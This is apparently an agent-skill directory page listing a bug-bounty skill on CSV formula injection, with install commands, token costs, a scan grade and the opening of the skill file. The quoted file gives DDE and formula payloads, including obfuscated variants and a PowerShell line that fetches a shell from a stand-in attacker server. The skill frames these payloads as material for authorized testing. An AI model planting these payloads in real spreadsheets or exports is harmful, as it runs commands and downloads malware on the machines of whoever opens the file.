Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/shulkwisec/bb-huge/csv-formula-injectionnpx skills add ShulkwiSEC/bb-huge --skill csv-formula-injectiongit clone --depth 1 https://github.com/ShulkwiSEC/bb-hugeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/csv-formula-injection)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/csv-formula-injection"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/csv-formula-injection.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00041 | $0.01151 |
| Opus 5 | $0.00020 | $0.00575 |
| Sonnet 5 | $0.00008 | $0.00230 |
| Haiku 4.5 | $0.00004 | $0.00115 |
Grade A, and why
csv-formula-injection scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 This is a copy
100% identical to csv-formula-injection — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 145 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: CSV Formula Injection
AI LOAD INSTRUCTION: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where explicitly authorized; payloads that invoke local commands or remote fetches are impactful—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.
0. QUICK START
Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):
=
+
-
@
Test cells may look like:
name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)
Routing note: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.
1. DDE INJECTION (EXCEL / LIBREOFFICE)
Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for controlled lab reproduction:
DDE("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'
PowerShell-style chaining (lab only; replace host and payload with benign equivalents):
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
2. OBFUSCATION
Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed):
AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
Extra whitespace after =:
= cmd|'/c calc.exe'!A
Dispersed characters / unusual spacing (conceptual pattern—adjust per parser):
= C m D |'/c calc.exe'!A
rundll32 style:
=rundll32|'URL.dll,OpenURL calc.exe'!A
3. GOOGLE SHEETS
If exported data is later opened in Google Sheets, or sheets pull from untrusted CSV, these functions can cause outbound requests or cross-document data pulls:
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 145 lines · 41 tokens per session scan A f1218bcfcf19
csv-formula-injection is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 1mo ago), licensed MIT. It adds 41 tokens to every session and 1,151 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 100% identical to csv-formula-injection, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
skill-doc-delivery
Convert markdown to DOCX, PPTX, XLSX, PDF office documents — use when you need exportable deliverables.
excel-reporter
Full-coverage formatted Excel report generation with Dutch market compatibility.
google-workspace
Use the native Google Workspace tools for Gmail, Calendar, Drive, Docs, and Sheets.
feishu
Work with Feishu or Lark bots, docs, sheets, bitables, approval flows, and OpenAPI/MCP setup without hardcoding credentials.
large-file-parquet-analysis-and-highlight
当Excel文件总行数超过1万行时，通过转换为Parquet格式提升读取性能，提取目标指标并计算最大值，最后将结果输出为Excel并对特定行进行高亮标注。.
dynamic-percentage-and-large-file-analysis
根据文件行数动态切换大文件处理策略（Parquet转换），通过逐行扫描或列匹配提取关键指标并计算占比、均值等统计量，最终输出结构化Excel报告及可视化图表。.